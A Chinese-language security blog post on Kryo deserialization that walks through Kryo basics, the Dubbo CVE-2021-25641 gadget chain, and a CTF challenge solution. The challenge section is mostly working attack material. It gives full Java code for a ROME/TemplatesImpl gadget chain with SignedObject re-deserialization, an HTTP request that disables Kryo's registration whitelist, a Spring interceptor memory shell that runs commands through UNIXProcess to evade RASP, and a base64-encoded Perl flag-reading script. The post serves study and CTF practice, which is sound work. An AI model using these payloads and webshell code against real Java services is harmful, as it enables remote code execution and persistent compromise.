Kryo反序列化学习

date
Jun 18, 2022
slug
kryo-deserialize-learn
status
Published
tags
Java安全
安全研究
summary
一个比较偏的序列化组件,看到了就学习一下
type
Post

Kryo简单使用

引入pom
<dependency>
  <groupId>com.esotericsoftware</groupId>
  <artifactId>kryo</artifactId>
  <version>5.2.0</version>
</dependency>
一般漏洞出现得比较多的反序列化点是使用kryo.readClassAndObject函数,那么对应的序列化点是kryo.writeClassAndObject ,当然这个类也存在readObjectwriteObject 方法,不过这里以前两个例子学习
定义一个存在无参构造函数的User类
package test;

import lombok.Data;

@Data
public class User{
    private String name;
    private int id;
    private String password;

    public User(){
        this.name = "test";
        this.id = 123;
        this.password = "test";
    }


}
然后进行demo的测试:
public static void main(String[] args) throws IOException {
        Kryo kryo = new Kryo();
        kryo.register(User.class);
        User u = new User();

        Output output = new Output(new FileOutputStream("file.bin"));
        kryo.writeClassAndObject(output, u);
        output.close();

        Input input = new Input(new FileInputStream("file.bin"));
        User o = (User)kryo.readClassAndObject(input);
        input.close();

        System.out.println(o.getName());



    }
都是先封装成Output或者Input流,然后再通过kryo对象进行处理
此时能够正常序列化
notion image
对其内容进行调试,就能够发现这个kryo反序列化的几个特性:
  1. 从5.0.0版本后,kryo整体进行了较大的重构,其中一个重大的改造是将com.esotericsoftware.kryo.Kryo类的registrationRequired属性默认设置为true。相当于开启了白名单,只有注册过的类才能被序列化和反序列化。
    1. 如果kryo.register(User.class); 这一行代码给去掉,会出现这样的问题,此时并不能注册
      notion image
      因为在源码中com.esotericsoftware.kryo.Kryo只默认注册了下面的类,只有这些类才不需要重新注册
      notion image
  1. Kryo对于注册的类,默认使用的是com.esotericsoftware.kryo.serializers.FieldSerializer 进行处理
    1. notion image
      但是使用找个对象进行处理需要要求该类有一个无参数的构造函数,否则抛出类创建异常,导致无法反序列化,所以当我们将类的无参构造方法去掉的时候,只保留一个有参构造的方法的话,会抛出这样的异常
      notion image
      调试相关代码就会返现他反射调用的是无参的构造方法,引起抛出异常的也是这个点
      notion image
       
       

相关漏洞

CVE-2021-25641
又是一种新的反序列化方法,主要是针对针对Hessian2序列化格式的对象传输可能会有黑白名单设置的限制,参考:https://github.com/apache/dubbo/pull/6378
针对这种场景,攻击者可以通过更改dubbo协议的第三个flag位字节来更改为使用Kryo或FST序列化格式来进行Dubbo Provider反序列化攻击从而绕过针对Hessian2反序列化相关的限制来达到RCE。
复现环境: (其实也可以使用CVE-2020-1948那个版本的环)
验证payload:
搭建完之后可以使用poc进行简要调试,注意一下poc里面几个需要修改的点,这一块内容是需要注意的,修改Dubbo里面对应provider的内容
notion image
在调试过程中发现Dubbo并不遵守Kryo原生反序列化的那一套流程,他是默认将类注册registrationRequired给关闭掉了,而且实现的KryoFactory 接口在高版本也没有了,所以Dubbo在这个版本里面是自己整的Kryo的反序列化处理,种种解除限制导致危害提升了
notion image
这个漏洞还有个精妙之处在于他利用了Dubbo里面的自带的fastjson完成利用链的构造,查看他的关键函数调用栈
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:73, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decodeBody:132, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:82, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:90, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.transport.netty4)
可以发现使用了MapSerializer进行序列化的处理(因为并没有registrationRequired限制,而且处理对象是HashMap,所以会走MapSerializer),后续利用Hashmap.put进行触发操作,所以如果有ROME依赖的话,同样应该也是可以使用对应的Gadgats打的(可能需要二次反序列化)
notion image
后续操作就是com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)方法触发com.alibaba.fastjson.JSON#toString,然后后面就是fastjson的常规利用了
 

例题

这个题目考察了kryo 组件的反序列化
题目分析
order路由这里请求是他自己实现的类,里面有一个kryo 的反序列化
notion image
demo路由根据输⼊修改⼀些关键配置,通过反射触发setter函数的功能
notion image
根据这篇文章:浅析Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641) [ Mi1k7ea ] 可以了解到漏洞触发的函数调用栈不太符合题目,因为这里面的函数调用栈是调用了fastJson的内容的,不符合题目给的lib内容
notion image
这个题目里面比较有用的应该是ROME这个jar,所以可以直接利用ROME的那个链条打一下,也是从HashMap触发的key的hashCode操作开始,通过MapSerializer序列化器触发反序列化,但是由于这里是Kryo的版本是5.0.0版本的,所以就出现了相关特性的几个问题
payload构造
当准备构造payload的时候:
public String make_poc(String raw) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Output output = new Output(bos);
       
        //ROME 原生链条
        TemplatesImpl obj = new TemplatesImpl();

        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(inject.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        ObjectBean delegate = new ObjectBean(Templates.class, obj);
        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);

        HashMap<Object, Object> hashmap = Utils.makeMap(root,root);

        kryo.writeClassAndObject(output, hashmap);
        output.flush();
        output.close();




        System.out.println(new String(Base64.getEncoder().encodeToString(bos.toByteArray())));
//        return "test";
        return new String(Base64.getEncoder().encodeToString(bos.toByteArray()));
    }
爆这样的错误,HashMap并没有注册到Kryo的序列化类中
notion image
常规的解决思路是使用这样的语句进行操作:
kryo.register(Map.class);
但是同样的题目给了反射调用setter的方法,因此我们可以加上,然后修改相关的属性,那需要设置哪个属性呢?可以通过下面的代码查看一下
Kryo kryo = new Kryo();

        for (Method setMethod:kryo.getClass().getDeclaredMethods()) {
            if (setMethod.getName().startsWith("set")) {
                System.out.println(setMethod);
            }
        }
public void com.esotericsoftware.kryo.Kryo.setDefaultSerializer(com.esotericsoftware.kryo.SerializerFactory)
public void com.esotericsoftware.kryo.Kryo.setDefaultSerializer(java.lang.Class)
public void com.esotericsoftware.kryo.Kryo.setClassLoader(java.lang.ClassLoader)
public void com.esotericsoftware.kryo.Kryo.setRegistrationRequired(boolean)
public void com.esotericsoftware.kryo.Kryo.setWarnUnregisteredClasses(boolean)
public boolean com.esotericsoftware.kryo.Kryo.setReferences(boolean)
public void com.esotericsoftware.kryo.Kryo.setCopyReferences(boolean)
public void com.esotericsoftware.kryo.Kryo.setReferenceResolver(com.esotericsoftware.kryo.ReferenceResolver)
public void com.esotericsoftware.kryo.Kryo.setInstantiatorStrategy(org.objenesis.strategy.InstantiatorStrategy)
public void com.esotericsoftware.kryo.Kryo.setAutoReset(boolean)
public void com.esotericsoftware.kryo.Kryo.setMaxDepth(int)
public void com.esotericsoftware.kryo.Kryo.setOptimizedGenerics(boolean)
因为这个注册问题是和registrationRequired 相关的,所以可以选择setRegistrationRequired将其设置为false 进行处理,payload上就这么改,此时就可以正常序列化了
public String make_poc() throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Output output = new Output(bos);
				String raw = "{\"polish\":true,\"RegistrationRequired\":false}"

        JSONObject serializeConfig = new JSONObject(raw);
        if (serializeConfig.has("polish") &&
                serializeConfig.getBoolean("polish")) {
            this.kryo = new Kryo();
            Method[] var3 = this.kryo.getClass().getDeclaredMethods();
            int var4 = var3.length;
            for(int var5 = 0; var5 < var4; ++var5) {
                Method setMethod = var3[var5];
                if (setMethod.getName().startsWith("set")) {
                    try {
                        Object p1 =
                                serializeConfig.get(setMethod.getName().substring(3));
                        if (!setMethod.getParameterTypes()
                                [0].isPrimitive()) {
                            try {
                                p1 =
                                        Class.forName((String)p1).newInstance();
                                setMethod.invoke(this.kryo, p1);
                            } catch (Exception var9) {
                                var9.printStackTrace();
                            }
                        } else {
                            setMethod.invoke(this.kryo, p1);
                        }
                    } catch (Exception var10) {
                    }
                }
            }
        }

        //ROME 原生链条
        TemplatesImpl obj = new TemplatesImpl();
//                setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(inject.class.getName()).toBytecode()});

//        System.out.println(ClassPool.getDefault().get(InjectTest.class.getName()).toBytecode());
        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        ObjectBean delegate = new ObjectBean(Templates.class, obj);
        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);

        HashMap<Object, Object> hashmap = Utils.makeMap(root,root);

        kryo.writeClassAndObject(output, hashmap);
        output.flush();
        output.close();



        System.out.println(new String(Base64.getEncoder().encodeToString(bos.toByteArray())));
        return new String(Base64.getEncoder().encodeToString(bos.toByteArray()));
    }
但是在进行反序列化测试的时候又出现了另外的问题,就是无参数构造函数的问题
notion image
这个也是可以通过setter函数进行设置的,主要跟InstantiatorStrategy这个属性相关,默认使用的是DefaultInstantiatorStrategy,如果需要绕过无参构造函数的话可以使用StdInstantiatorStrategy,所以对应处理的应该是setInstantiatorStrategy 这个函数
notion image
然后再改进一下payload的设置:
public String make_poc() throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Output output = new Output(bos);
				String raw = "{\"polish\":true,\"RegistrationRequired\":false,\"InstantiatorStrategy\":\n" +
                "\"org.objenesis.strategy.StdInstantiatorStrategy\"}";

        JSONObject serializeConfig = new JSONObject(raw);
        if (serializeConfig.has("polish") &&
                serializeConfig.getBoolean("polish")) {
            this.kryo = new Kryo();
            Method[] var3 = this.kryo.getClass().getDeclaredMethods();
            int var4 = var3.length;
            for(int var5 = 0; var5 < var4; ++var5) {
                Method setMethod = var3[var5];
                if (setMethod.getName().startsWith("set")) {
                    try {
                        Object p1 =
                                serializeConfig.get(setMethod.getName().substring(3));
                        if (!setMethod.getParameterTypes()
                                [0].isPrimitive()) {
                            try {
                                p1 =
                                        Class.forName((String)p1).newInstance();
                                setMethod.invoke(this.kryo, p1);
                            } catch (Exception var9) {
                                var9.printStackTrace();
                            }
                        } else {
                            setMethod.invoke(this.kryo, p1);
                        }
                    } catch (Exception var10) {
                    }
                }
            }
        }

        //ROME 原生链条
        TemplatesImpl obj = new TemplatesImpl();
//                setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(inject.class.getName()).toBytecode()});

//        System.out.println(ClassPool.getDefault().get(InjectTest.class.getName()).toBytecode());
        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        ObjectBean delegate = new ObjectBean(Templates.class, obj);
        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);

        HashMap<Object, Object> hashmap = Utils.makeMap(root,root);

        kryo.writeClassAndObject(output, hashmap);
        output.flush();
        output.close();



        System.out.println(new String(Base64.getEncoder().encodeToString(bos.toByteArray())));
        return new String(Base64.getEncoder().encodeToString(bos.toByteArray()));
    }
此时再进行测试,会发现出现这样的问题:Caused by: java.lang.NullPointerException: null ,这个点的原因是因为Kryo的反序列化和hessian2很类似,因为不是原生反序列化,TemplateImpltransient 修饰的 _tfactory是会序列化过程中丢失的,所以无法直接用,需要二次反序列化构造,进一步改进一下payload,此时就能够触发了
public String make_poc(String raw) throws Exception{
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Output output = new Output(bos);


        JSONObject serializeConfig = new JSONObject(raw);
        if (serializeConfig.has("polish") &&
                serializeConfig.getBoolean("polish")) {
            this.kryo = new Kryo();
            Method[] var3 = this.kryo.getClass().getDeclaredMethods();
            int var4 = var3.length;
            for(int var5 = 0; var5 < var4; ++var5) {
                Method setMethod = var3[var5];
                if (setMethod.getName().startsWith("set")) {
                    try {
                        Object p1 =
                                serializeConfig.get(setMethod.getName().substring(3));
                        if (!setMethod.getParameterTypes()
                                [0].isPrimitive()) {
                            try {
                                p1 =
                                        Class.forName((String)p1).newInstance();
                                setMethod.invoke(this.kryo, p1);
                            } catch (Exception var9) {
                                var9.printStackTrace();
                            }
                        } else {
                            setMethod.invoke(this.kryo, p1);
                        }
                    } catch (Exception var10) {
                    }
                }
            }
        }

        //ROME 原生链条
        TemplatesImpl obj = new TemplatesImpl();
//                setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(inject.class.getName()).toBytecode()});

//        System.out.println(ClassPool.getDefault().get(InjectTest.class.getName()).toBytecode());
        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        ObjectBean delegate = new ObjectBean(Templates.class, obj);
        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);

        HashMap<Object, Object> hashmap = Utils.makeMap(root,root);


        //实例化SignedObject对象
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);

        ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
        EqualsBean root1 = new EqualsBean(ToStringBean.class, item);

        HashMap<Object, Object> hashmap1 = Utils.makeMap(root1,root1);

        kryo.writeClassAndObject(output, hashmap1);
        output.flush();
        output.close();


        System.out.println(new String(Base64.getEncoder().encodeToString(bos.toByteArray())));
        return new String(Base64.getEncoder().encodeToString(bos.toByteArray()));
    }
实际测试
需要先给/coffee/demo接口设置相关属性:
POST /coffee/demo HTTP/1.1
Host: localhost:10805
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 116

{"polish":true,"RegistrationRequired":false,"InstantiatorStrategy":"org.objenesis.strategy.StdInstantiatorStrategy"}
因为在Springboot里面默认生成的对象是单例模式,所以修改了类的属性之后都会一直存在
这个点可以在Springboot中调试一下,在这个题目进行测试,给model里面的Mocha类添加上@Component 注解,让其可以加载
package fun.mrctf.springcoffee.model;


import org.springframework.stereotype.Component;

@Component
public class Mocha implements ExtraFlavor{
    double chocolate = 0.2;

    @Override
    public String getName() {
        return "Mocha";
    }
}
新建一个Controller测试,新建两个Mocha对象,使用@Autowired 注解自动生成对象
package fun.mrctf.springcoffee.controller;


import fun.mrctf.springcoffee.model.Mocha;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class TestController {
    @Autowired
    private Mocha m1;

    @Autowired
    private Mocha m2;

    @RequestMapping("/aaaa")
    public String test(){
        System.out.println(m1.hashCode());
        System.out.println(m2.hashCode());
        return "aaa";
    }

}
测试输出两个对象的hashCode,都是一样的,说明两个对象也是一样的,是同一个对象
notion image
如果需要修改这种模式的话需要@Scope("prototype") 注解
/coffee/order 接口触发漏洞
notion image
打个内存马,这个题目普通的Runtime.exec是执行不了的,因为存在RASP,所以还得绕过RASP,先得读取RASP的防御手段,可以使用这段代码进行操作
String code = request.getParameter("code");
java.io.PrintWriter writer = response.getWriter();
urlContent = "";
URL url = new URL(code);
BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
     urlContent = urlContent + inputLine + "\n";
}
in.close();
writer.println(urlContent);
读取RASP里面的内容就会发现作者是对java.lang.ProcessImplstart 函数进行限制
notion image
所以绕过的话就继续找下一层的函数就行,整一个拦截器马,通过UNIXProcess的构造函数触发(作者的原思路好像用的是JNI)
package test;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

public class magicInterceptor2 extends HandlerInterceptorAdapter {
    public magicInterceptor2() {
    }

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String[] code = request.getParameterValues("code");
        if (code != null) {
            try {
                PrintWriter writer = response.getWriter();
                String o = "";
                InputStream in = this.start(code);
                String result = this.inputStreamToString(in, "UTF-8");
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (Exception var9) {
            }

            return false;
        } else {
            return true;
        }
    }

    public byte[] toCString(String s) {
        if (s == null) {
            return null;
        } else {
            byte[] bytes = s.getBytes();
            byte[] result = new byte[bytes.length + 1];
            System.arraycopy(bytes, 0, result, 0, bytes.length);
            result[result.length - 1] = 0;
            return result;
        }
    }

    public InputStream start(String[] strs) throws Exception {
        String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
        String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
        Class clazz = null;

        try {
            clazz = Class.forName(unixClass);
        } catch (ClassNotFoundException var30) {
            clazz = Class.forName(processClass);
        }

        Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        assert strs != null && strs.length > 0;

        byte[][] args = new byte[strs.length - 1][];
        int size = args.length;

        for(int i = 0; i < args.length; ++i) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int i = 0;
        byte[][] var10 = args;
        int var11 = args.length;

        for(int var12 = 0; var12 < var11; ++var12) {
            byte[] arg = var10[var12];
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
        }

        int[] envc = new int[1];
        int[] std_fds = new int[]{-1, -1, -1};
        FileInputStream f0 = null;
        FileOutputStream f1 = null;
        FileOutputStream f2 = null;

        try {
            if (f0 != null) {
                ((FileInputStream)f0).close();
            }
        } finally {
            try {
                if (f1 != null) {
                    ((FileOutputStream)f1).close();
                }
            } finally {
                if (f2 != null) {
                    ((FileOutputStream)f2).close();
                }

            }

        }

        Object object = constructor.newInstance(this.toCString(strs[0]), argBlock, args.length, null, envc[0], null, std_fds, false);
        Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
        inMethod.setAccessible(true);
        return (InputStream)inMethod.invoke(object);
    }

    public String inputStreamToString(InputStream in, String charset) throws IOException {
        try {
            if (charset == null) {
                charset = "UTF-8";
            }

            ByteArrayOutputStream out = new ByteArrayOutputStream();
            int a = false;
            byte[] b = new byte[1024];

            int a;
            while((a = in.read(b)) != -1) {
                out.write(b, 0, a);
            }

            String var6 = new String(out.toByteArray());
            return var6;
        } catch (IOException var10) {
            throw var10;
        } finally {
            if (in != null) {
                in.close();
            }

        }
    }
}
notion image
最后还有个readflag操作,往里面写个perl脚本,然后执行就行
String path = "/tmp/exp.pl";
File file = new File(path);
file.createNewFile();
FileOutputStream fos = new FileOutputStream(path);
String data = "dXNlIHN0cmljdDsKdXNlIElQQzo6T3BlbjM7Cm15ICRwaWQgPSBvcGVuMyggXCpDSExEX0lOLCBcKkNITERfT1VULCBcKkNITERfRVJSLCAnL3JlYWRmbGFnJyApIG9yIGRpZQoib3BlbjMoKSBmYWlsZWQhIjsKbXkgJHI7CiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOwokciA9IHN1YnN0cigkciwwLC0zKTsKJHIgPSBldmFsICIkciI7CnByaW50ICIkclxuIjsKcHJpbnQgQ0hMRF9JTiAiJHJcbiI7CiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjs=";
fos.write(Base64.getDecoder().decode(data));
fos.close();
notion image
 
 
 

总结

  1. kryo 序列化与反序列化时注意的坑,流程
  1. Springboot单例模式下可能会存在的一些问题
 
 
 
参考

© 4me 2021 - 2024